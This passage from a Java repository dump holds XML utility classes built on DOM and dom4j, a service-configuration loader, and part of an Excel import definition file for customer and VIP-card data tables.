block\n//\t\t\te.printStackTrace();\n//\t\t}\n//\n//\t}*/\n//\n//\tpublic void stringXMLToFile(String filePath, String content) {\n//\t\ttry {\n//\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n//\t\t\tformat.setEncoding(\"UTF-8\");\n//\t\t\tXMLWriter xmlWriter = new XMLWriter(new FileOutputStream(filePath), format);\n//\t\t\tDocument doc = DocumentHelper.parseText(content);\n//\t\t\txmlWriter.write(doc);\n//\t\t\txmlWriter.close();\n//\t\t} catch (Exception e) {\n//\t\t\te.printStackTrace();\n//\t\t}\n//\t}\n//\n//\t/**\n//\t * Xml->Java\n//\t */\n//\t@SuppressWarnings(\"unchecked\")\n//\tpublic <T> T unmarshal(String xml) {\n//\t\ttry {\n//\t\t\tStringReader reader = new StringReader(xml);\n//\t\t\treturn (T) unmarshaller.unmarshal(reader);\n//\t\t} catch (JAXBException e) {\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\t}\n//\n//\t/**\n//\t * Xml->Java\n//\t */\n//\t@SuppressWarnings(\"unchecked\")\n//\tpublic <T> T unmarshal(InputStream in) {\n//\t\tBufferedReader br = null;\n//\t\ttry {\n//\t\t\tbr = new BufferedReader(new InputStreamReader(in, \"utf-8\"));\n//\t\t} catch (UnsupportedEncodingException e) {\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\n//\t\ttry {\n//\t\t\treturn (T) unmarshaller.unmarshal(br);\n//\t\t} catch (JAXBException e) {\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\t}\n//}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/utils/XmlUtilw3c.java",
    "content": "package com.jun.plugin.utils;\n\n/* \n * <p>Company: ������ www.elingke.com </p> \n * @author liubaojun \n * @version 1.0 \n * Created on 2004-11-29 \n * ��Դ�� elinkBSP ����Դ���� \n */\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.io.Writer;\nimport java.util.Vector;\n\nimport javax.xml.parsers.DocumentBuilder;\nimport javax.xml.parsers.DocumentBuilderFactory;\nimport javax.xml.transform.OutputKeys;\nimport javax.xml.transform.Transformer;\nimport javax.xml.transform.TransformerFactory;\nimport javax.xml.transform.dom.DOMSource;\nimport javax.xml.transform.stream.StreamResult;\n\nimport org.w3c.dom.Document;\nimport org.w3c.dom.Element;\nimport org.w3c.dom.Node;\nimport org.w3c.dom.Text;\nimport org.xml.sax.InputSource;\n\npublic class XmlUtilw3c {\n\tpublic static synchronized Document newDocument() {\n\t\tDocument doc = null;\n\t\ttry {\n\t\t\tDocumentBuilder db = DocumentBuilderFactory.newInstance()\n\t\t\t\t\t.newDocumentBuilder();\n\t\t\tdoc = db.newDocument();\n\t\t} catch (Exception e) {\n//\t\t\tLogUtil.logException(e);\n\t\t}\n\t\treturn doc;\n\t}\n\n\tpublic static synchronized Element createRootElement() {\n\t\tElement rootElement = null;\n\t\ttry {\n\t\t\tDocumentBuilder db = DocumentBuilderFactory.newInstance()\n\t\t\t\t\t.newDocumentBuilder();\n\t\t\tDocument doc = db.newDocument();\n\t\t\trootElement = doc.getDocumentElement();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn rootElement;\n\t}\n\n\tpublic static synchronized Element getRootElement(String fileName) {\n\t\tif (fileName == null || fileName.length() == 0) {\n\t\t\treturn null;\n\t\t}\n\t\ttry {\n\t\t\tElement rootElement = null;\n\t\t\tFileInputStream fis = new FileInputStream(fileName);\n\t\t\trootElement = getRootElement(fis);\n\t\t\tfis.close();\n\t\t\treturn rootElement;\n\t\t} catch (Exception e) {\n\t\t\treturn null;\n\t\t}\n\t}\n\n\tpublic static synchronized Element getRootElement(InputStream is) {\n\t\tif (is == null) {\n\t\t\treturn null;\n\t\t}\n\t\tElement rootElement = null;\n\t\ttry {\n\t\t\tDocumentBuilder db = DocumentBuilderFactory.newInstance()\n\t\t\t\t\t.newDocumentBuilder();\n\t\t\tDocument doc = db.parse(is);\n\t\t\trootElement = doc.getDocumentElement();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn rootElement;\n\t}\n\n\tpublic static synchronized Element getRootElement(InputSource is) {\n\t\tif (is == null) {\n\t\t\treturn null;\n\t\t}\n\t\tElement rootElement = null;\n\t\ttry {\n\t\t\tDocumentBuilder db = DocumentBuilderFactory.newInstance()\n\t\t\t\t\t.newDocumentBuilder();\n\t\t\tDocument doc = db.parse(is);\n\t\t\trootElement = doc.getDocumentElement();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn rootElement;\n\t}\n\n\tpublic static synchronized Element[] getChildElements(Element element) {\n\t\tif (element == null) {\n\t\t\treturn null;\n\t\t}\n\t\tVector childs = new Vector();\n\t\tfor (Node node = element.getFirstChild(); node != null; node = node\n\t\t\t\t.getNextSibling()) {\n\t\t\tif (node instanceof Element) {\n\t\t\t\tchilds.add((Element) node);\n\t\t\t}\n\t\t}\n\t\tElement[] elmt = new Element[childs.size()];\n\t\tchilds.toArray(elmt);\n\t\treturn elmt;\n\t}\n\n\tpublic static synchronized Element[] getChildElements(Element element,\n\t\t\tString childName) {\n\t\tif (element == null || childName == null || childName.length() == 0) {\n\t\t\treturn null;\n\t\t}\n\t\tVector childs = new Vector();\n\t\tfor (Node node = element.getFirstChild(); node != null; node = node\n\t\t\t\t.getNextSibling()) {\n\t\t\tif (node instanceof Element) {\n\t\t\t\tif (node.getNodeName().equals(childName)) {\n\t\t\t\t\tchilds.add((Element) node);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tElement[] elmt = new Element[childs.size()];\n\t\tchilds.toArray(elmt);\n\t\treturn elmt;\n\t}\n\n\tpublic static synchronized Node[] getChildNodes(Node node) {\n\t\tif (node == null) {\n\t\t\treturn null;\n\t\t}\n\t\tVector childs = new Vector();\n\t\tfor (Node n = node.getFirstChild(); n != null; n = n.getNextSibling()) {\n\t\t\tchilds.add((Element) n);\n\t\t}\n\t\tNode[] childNodes = new Element[childs.size()];\n\t\tchilds.toArray(childNodes);\n\t\treturn childNodes;\n\t}\n\n\tpublic static synchronized Element getChildElement(Element element,\n\t\t\tString childName) {\n\t\tif (element == null || childName == null || childName.length() == 0) {\n\t\t\treturn null;\n\t\t}\n\t\tElement childs = null;\n\t\tfor (Node node = element.getFirstChild(); node != null; node = node\n\t\t\t\t.getNextSibling()) {\n\t\t\tif (node instanceof Element) {\n\t\t\t\tif (node.getNodeName().equals(childName)) {\n\t\t\t\t\tchilds = (Element) node;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn childs;\n\t}\n\n\tpublic static synchronized Element getChildElement(Element element) {\n\t\tif (element == null) {\n\t\t\treturn null;\n\t\t}\n\t\tElement childs = null;\n\t\tfor (Node node = element.getFirstChild(); node != null; node = node\n\t\t\t\t.getNextSibling()) {\n\t\t\tif (node instanceof Element) {\n\t\t\t\tchilds = (Element) node;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\treturn childs;\n\t}\n\n\tpublic static synchronized String[] getElenentValues(Element element) {\n\t\tif (element == null) {\n\t\t\treturn null;\n\t\t}\n\t\tVector childs = new Vector();\n\t\tfor (Node node = element.getFirstChild(); node != null; node = node\n\t\t\t\t.getNextSibling()) {\n\t\t\tif (node instanceof Text) {\n\t\t\t\tchilds.add(node.getNodeValue());\n\t\t\t}\n\t\t}\n\t\tString[] values = new String[childs.size()];\n\t\tchilds.toArray(values);\n\t\treturn values;\n\t}\n\n\tpublic static synchronized String getElenentValue(Element element) {\n\t\tif (element == null) {\n\t\t\treturn null;\n\t\t}\n\t\tString retnStr = null;\n\t\tfor (Node node = element.getFirstChild(); node != null; node = node\n\t\t\t\t.getNextSibling()) {\n\t\t\tif (node instanceof Text) {\n\t\t\t\tString str = node.getNodeValue();\n\t\t\t\tif (str == null || str.length() == 0\n\t\t\t\t\t\t|| str.trim().length() == 0) {\n\t\t\t\t\tcontinue;\n\t\t\t\t} else {\n\t\t\t\t\tretnStr = str;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn retnStr;\n\t}\n\n\tpublic static synchronized Element findElementByName(Element e, String name) {\n\t\tif (e == null || name == null || name.length() == 0) {\n\t\t\treturn null;\n\t\t}\n\t\tString nodename = null;\n\t\tElement[] childs = getChildElements(e);\n\t\tfor (int i = 0; i < childs.length; i++) {\n\t\t\tnodename = childs[i].getNodeName();\n\t\t\tif (name.equals(nodename)) {\n\t\t\t\treturn childs[i];\n\t\t\t}\n\t\t}\n\t\tfor (int i = 0; i < childs.length; i++) {\n\t\t\tElement retn = findElementByName(childs[i], name);\n\t\t\tif (retn != null) {\n\t\t\t\treturn retn;\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n\n\tpublic static synchronized Element findElementByAttr(Element e,\n\t\t\tString attrName, String attrVal) {\n\t\treturn findElementByAttr(e, attrName, attrVal, true);\n\t}\n\n\tpublic static synchronized Element findElementByAttr(Element e,\n\t\t\tString attrName, String attrVal, boolean dept) {\n\t\tif (e == null || attrName == null || attrName.length() == 0\n\t\t\t\t|| attrVal == null || attrVal.length() == 0) {\n\t\t\treturn null;\n\t\t}\n\t\tString tmpValue = null;\n\t\tElement[] childs = getChildElements(e);\n\t\tfor (int i = 0; i < childs.length; i++) {\n\t\t\ttmpValue = childs[i].getAttribute(attrName);\n\t\t\tif (attrVal.equals(tmpValue)) {\n\t\t\t\treturn childs[i];\n\t\t\t}\n\t\t}\n\t\tif (dept) {\n\t\t\tfor (int i = 0; i < childs.length; i++) {\n\t\t\t\tElement retn = findElementByAttr(childs[i], attrName, attrVal);\n\t\t\t\tif (retn != null) {\n\t\t\t\t\treturn retn;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n\n\tpublic static synchronized String formatXml(Element e) {\n\t\treturn formatXml(e, 0);\n\t}\n\n\t/**\n\t * ��ʽ��XML�����.\n\t */\n\tpublic static synchronized String formatXml(Element e, int indent) {\n\t\tindent++;\n\t\tfor (Node n = e.getFirstChild(); n != null; n = n.getNextSibling()) {\n\t\t\tappendIndent(e, n, indent);\n\t\t\tif (!n.getNodeName().equals(\"#text\")) {\n\t\t\t\tformatXml((Element) n, indent);\n\t\t\t}\n\t\t}\n\t\tindent--;\n\t\tappendIndent(e, indent);\n\t\treturn e.toString();\n\t}\n\n\t/**\n\t * ��ָ���Ľڵ�ǰ�����ʽ��ʾ.\n\t */\n\tprivate static synchronized void appendIndent(Element e, Node pos,\n\t\t\tint indent) {\n\t\tDocument doc = e.getOwnerDocument();\n\t\tif (indent == 0) {\n\t\t\te.insertBefore(doc.createTextNode(\"\\n\"), pos);\n\t\t}\n\t\tfor (int i = 0; i < indent; i++) {\n\t\t\tif (i == 0) {\n\t\t\t\te.insertBefore(doc.createTextNode(\"\\n\\t\"), pos);\n\t\t\t} else {\n\t\t\t\te.insertBefore(doc.createTextNode(\"\\t\"), pos);\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * ׷�Ӹ�ʽ��ʾ.\n\t */\n\tprivate static synchronized void appendIndent(Element e, int indent) {\n\t\tDocument doc = e.getOwnerDocument();\n\t\tif (indent == 0) {\n\t\t\te.appendChild(doc.createTextNode(\"\\n\"));\n\t\t}\n\t\tfor (int i = 0; i < indent; i++) {\n\t\t\tif (i == 0) {\n\t\t\t\te.appendChild(doc.createTextNode(\"\\n\\t\"));\n\t\t\t} else {\n\t\t\t\te.appendChild(doc.createTextNode(\"\\t\"));\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic static synchronized void setAttribute(Element e, String name,\n\t\t\tString value) {\n\t\tif (e == null || name == null || name.length() == 0 || value == null\n\t\t\t\t|| value.length() == 0)\n\t\t\treturn;\n\t\telse\n\t\t\te.setAttribute(name, value);\n\t}\n\n\tpublic static synchronized String getAttribute(Element e, String name) {\n\t\treturn getAttribute(e, name, null);\n\t}\n\n\tpublic static synchronized String getAttribute(Element e, String name,\n\t\t\tString defval) {\n\t\tif (e == null || name == null || name.length() == 0)\n\t\t\treturn defval;\n\t\telse\n\t\t\treturn e.getAttribute(name);\n\t}\n\n\tpublic void transformerWrite(Element doc, String filename) throws Exception {\n\t\tDOMSource doms = new DOMSource(doc);\n\t\tFile f = new File(filename);\n\t\tStreamResult sr = new StreamResult(f);\n\t\ttransformerWrite(doms, sr);\n\t}\n\n\tpublic void transformerWrite(Element doc, File file) throws Exception {\n\t\tDOMSource doms = new DOMSource(doc);\n\t\tStreamResult sr = new StreamResult(file);\n\t\ttransformerWrite(doms, sr);\n\t}\n\n\tpublic void transformerWrite(Element doc, OutputStream outstream)\n\t\t\tthrows Exception {\n\t\tDOMSource doms = new DOMSource(doc);\n\t\tStreamResult sr = new StreamResult(outstream);\n\t\ttransformerWrite(doms, sr);\n\t}\n\n\tpublic void transformerWrite(Element doc, Writer outwriter)\n\t\t\tthrows Exception {\n\t\tDOMSource doms = new DOMSource(doc);\n\t\tStreamResult sr = new StreamResult(outwriter);\n\t\ttransformerWrite(doms, sr);\n\t}\n\n\tpublic void transformerWrite(DOMSource doms, StreamResult sr)\n\t\t\tthrows Exception {\n\t\tTransformerFactory tf = TransformerFactory.newInstance();\n\t\tTransformer t = tf.newTransformer();\n\t\tt.setOutputProperty(OutputKeys.ENCODING, \"GBK\");\n\t\tt.transform(doms, sr);\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/xml/Configuration.java",
    "content": "package com.jun.plugin.xml;\n\n\nimport java.io.File;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.dom4j.Document;\nimport org.dom4j.DocumentException;\nimport org.dom4j.Element;\nimport org.dom4j.io.SAXReader;\n\n/**\n * ���ã��ӿڶ�Ӧ��ʵ����\n * @author luo\n *\n */\npublic class Configuration {\n\t\n\tprivate Map<String,String> serviceMap = new HashMap<String,String>();\n\t\n\tprivate final static String CONGIF_PATH = \"config.xml\";\n\t\n\tprivate String configFile = CONGIF_PATH;\n\t\n\tpublic String getConfigFile() {\n\t\treturn configFile;\n\t}\n\n\tpublic void setConfigFile(String configFile) {\n\t\tthis.configFile = configFile;\n\t}\n\t\n\tprotected void initConfig() throws Exception{\n\t\tpaserXML();\n\t}\n\t\n\t/**\n\t * �򵥽���xml�ļ�,��ʼ��serviceMap\n\t * @throws DocumentException \n\t */\n\tprivate void paserXML() throws Exception{\n\t\tFile file = new File(configFile);\n        SAXReader reader = new SAXReader();\n        \n        // ��ȡXML�ļ�\n        Document doc = reader.read(file);\n        Element root = doc.getRootElement();\n        List<Element> services = root.elements();\n        for (Element serviceNode : services) {\n        \tString service = \"\";\n        \tString serviceImpl = \"\";\n        \tList<Element> propertys = serviceNode.elements();\n        \tfor(Element property : propertys){\n        \t\tif(\"service\".equals(property.attributeValue(\"name\"))){\n        \t\t\tservice = property.attributeValue(\"value\");\n        \t\t}else{\n        \t\t\tserviceImpl = property.attributeValue(\"value\");\n        \t\t}\n        \t}\n        \tserviceMap.put(service, serviceImpl);\n        }\n\t}\n\t\n\tpublic String getServiceImpl(String serviceApi){\n\t\treturn serviceMap.get(serviceApi);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/xml/ExcelImportDefine.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>  \n<root>\n    <!-- \n        tradeCode:交易码， 用以确定每一个业务逻辑模块唯一的导入交易。\n        tableName：表名，后台物理表中用以存储导入数据的临时表名。\n        valiClass：数据从临时表到实际业务表的逻辑实现类名，该类实现com.yuchengtech.bob.importimpl.ImportInterface接口。如不填写，则默认为com.yuchengtech.bob.importimpl.DefaultImpl类.\n        sheetStartIndex:导入EXCEL文件中，导入数据的起始页签,默认为0。\n        creatorColumn=临时表中“创建人”的列名，该列不在column中配置。\n        creatOrgColumn=临时表中“创建机构”的列名，该列不在column中配置。\n        creatDateColumn=临时表中“创建日期”的列名，该列不在column中配置。\n                                    列定义：\n                name：中文名称；\n                columnIndex:该列对应数据在导入的EXCEL sheet中所出列数（从0开始计数）。\n                fieldCode：该列数据对应的临时表中的列名。\n                isPk:是否主键，主键生成策略：IMP_+导入批次号_+sheet页号_+数据行号.主键请在物理表中定义为varchar2类型,且长度在30以上。\n                type:数据类型。目前主要使用3中数据类型校验，“NUMBER”,\"VARCHAR2\",\"DATE\"类型，默认按VARCHAR2类型处理。\n                length:数据长度,默认为0。\n                precial:数据精度，默认为0。\n                isNull：可否为空，默认为false。\n                                    数据处理策略：\n                                           数字类型：超出长度精度部分，整数部分截取右边，小数部分截取左边。isNull=\"false\"，且数据为空时，取0,长度为0，则不处理.\n                                           字符串类型：查出长度部分，截取右边，长度为0，则不处理。\n                                          日期数据：对于不合法数据，置空，如不可为空，则置为当前时间，长度为0，则不处理。\n     -->\n    <trade tradeCode=\"ImportTest\" tableName=\"A_IMPORT_TEST\" valiClass=\"\" sheetStartIndex=\"1\" creatorColumn=\"CREATOR\" creatOrgColumn=\"CREATORORG\" creatDateColumn=\"CREATORDATE\">\n        <column name=\"主键\" columnIndex=\"2\" fieldCode=\"IDPK\" isPK=\"true\" type=\"VARCHAR2\" length=\"\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"var数据\" columnIndex=\"3\" fieldCode=\"DATAVAR\" isPK=\"false\" type=\"VARCHAR2\" length=\"10\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"num数据\" columnIndex=\"4\" fieldCode=\"DATANUM\" isPK=\"false\" type=\"NUMBER\" length=\"\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"日期数据\" columnIndex=\"5\" fieldCode=\"DATADATE\" isPK=\"false\" type=\"DATE\" length=\"\" precial=\"\" isNull=\"true\"></column>\n   \t</trade>\n   \t<trade tradeCode=\"MktIndexImportTemp\" tableName=\"OCRM_F_CI_P_PROBUY_INFO\" valiClass=\"\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t    <column name=\"ID\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"false\"></column>\n   \t    <column name=\"客户号\" columnIndex=\"1\" fieldCode=\"CUST_ID\" isPK=\"false\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"客户名称\" columnIndex=\"2\" fieldCode=\"CUST_NAME\" isPK=\"false\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"证件类型\" columnIndex=\"3\" fieldCode=\"CERT_TYPE\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"证件号码\" columnIndex=\"4\" fieldCode=\"CERT_NUM\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"购买产品编号\" columnIndex=\"5\" fieldCode=\"PRODUCT_NO\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"购买产品名称\" columnIndex=\"6\" fieldCode=\"PRODUCT_NAME\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"购买金额\" columnIndex=\"7\" fieldCode=\"BUY_AMT\" isPK=\"false\" type=\"NUMBER\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"添加日期\" columnIndex=\"8\" fieldCode=\"OPP_DATE\" isPK=\"false\" type=\"DATE\" length=\"\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"添加理由\" columnIndex=\"9\" fieldCode=\"OPP_REASON\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"操作类型\"  columnIndex=\"10\" fieldCode=\"OPP_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"操作人\"  columnIndex=\"11\"  fieldCode=\"OPP_USER\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n   \t</trade>\n   \t<trade tradeCode=\"MktIndexImportTemp1\" tableName=\"OCRM_F_CI_P_PROBUY_INFO_TEMP\" valiClass=\"com.yuchengtech.bob.action.ProbuyImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t    <column name=\"ID\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"false\"></column>\n   \t    <column name=\"客户号\"  columnIndex=\"1\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"32\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户名称\"  columnIndex=\"2\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"32\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件类型\"  columnIndex=\"3\"  fieldCode=\"CERT_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件号码\"  columnIndex=\"4\"  fieldCode=\"CERT_NUM\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"购买产品编号\"  columnIndex=\"5\"  fieldCode=\"PRODUCT_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"购买产品名称\"  columnIndex=\"6\"  fieldCode=\"PRODUCT_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"购买金额\"  columnIndex=\"7\"  fieldCode=\"BUY_AMT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"删除日期\"  columnIndex=\"8\"  fieldCode=\"OPP_DATE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"删除理由\"  columnIndex=\"9\"  fieldCode=\"OPP_REASON\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"操作类型\"   columnIndex=\"10\"  fieldCode=\"OPP_TYPE\"   isPK=\"false\"   type=\"VARCHAR2\"   length=\"100\"   precial=\"\"   isNull=\"true\"></column>\n        <column name=\"操作人\"   columnIndex=\"11\"   fieldCode=\"OPP_USER\"   isPK=\"false\"   type=\"VARCHAR2\"   length=\"100\"   precial=\"\"   isNull=\"true\"></column>\n   \t</trade>\n   \n    <!--证件号码导入（客户群）-->\n    <trade tradeCode=\"importantGroupCust\" tableName=\"OCRM_F_GROUP_TEMP\" valiClass=\"\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t  <column name=\"序号\"  columnIndex=\"0\"  fieldCode=\"ID\"  isPK=\"true\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"证件类型\"  columnIndex=\"1\"  fieldCode=\"CERT_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"12\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"证件号码\"  columnIndex=\"2\"  fieldCode=\"CERT_NUM\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   \t</trade>\n   \t\n   \t<!--贵宾卡增值服务参数导入-->\n    <trade tradeCode=\"importVipCardAddServiceParamt\" tableName=\"OCRM_F_CI_VIPADDPARAM_TEMP\" valiClass=\"com.yuchengtech.bob.action.VipAddServiceParamImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t  <column name=\"编号\"  columnIndex=\"0\"  fieldCode=\"ID\"  isPK=\"true\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"贵宾卡级别\"  columnIndex=\"1\"  fieldCode=\"VIP_CARD_LEVEL\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"提供商\"  columnIndex=\"2\"  fieldCode=\"PROVIDER_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务名称\"  columnIndex=\"3\"  fieldCode=\"ADD_SERVICE_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务标识\"  columnIndex=\"4\"  fieldCode=\"ADD_SERVICE_IDENTIFY\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"适用范围\"  columnIndex=\"5\"  fieldCode=\"RANGE_APPLY\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务内容\"  columnIndex=\"6\"  fieldCode=\"SERVICE_CONTENT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"200\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"备注\"  columnIndex=\"7\"  fieldCode=\"REMARK\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n   \t</trade>\n   \t\n    <!--贵宾卡增值服务享受记录导入-->\n    <trade tradeCode=\"importVipEnjoyServiceRecord\" tableName=\"OCRM_F_CI_VIPADDPARAM_TEMP\" valiClass=\"com.yuchengtech.bob.action.VipEnjoyServiceRecordImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t  <column name=\"编号\"  columnIndex=\"0\"  fieldCode=\"ID\"  isPK=\"true\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"客户号\"  columnIndex=\"1\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"客户名称\"  columnIndex=\"2\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"联盟商代码\"  columnIndex=\"3\"  fieldCode=\"ALIANCE_PROGRAM_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"联盟商名称\"  columnIndex=\"4\"  fieldCode=\"ALIANCE_PROGRAM_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务标识\"  columnIndex=\"5\"  fieldCode=\"ADD_SERVICE_IDENTIFY\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务内容\"  columnIndex=\"6\"  fieldCode=\"SERVICE_CONTENT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"200\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"享受服务日期\"  columnIndex=\"7\"  fieldCode=\"ENJOY_SERVICE_DATE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n   \t</trade>\n   \t\n    <!--潜在客户导入-->\n\t   <!--潜在客户导入-->\n\t<trade tradeCode=\"importLantentCustInfo\" tableName=\"ACRM_F_CI_CUSTOMER_TEMP\" valiClass=\"com.yuchengtech.crm.customer.action.LantentCustomerImport\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t    <column name=\"序号\" columnIndex=\"0\" fieldCode=\"CUST_ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"27\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"客户名称\"  columnIndex=\"1\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户类别\"  columnIndex=\"2\"  fieldCode=\"CUST_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件类型\"  columnIndex=\"3\"  fieldCode=\"IDENT_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件号码\"  columnIndex=\"4\"  fieldCode=\"IDENT_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"联系人\"  columnIndex=\"6\"  fieldCode=\"LINKMAN_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"联系手机\"  columnIndex=\"9\"  fieldCode=\"LINKMAN_TEL\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n<!--         <column name=\"座机号\"  columnIndex=\"6\"  fieldCode=\"TELEPHONE_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  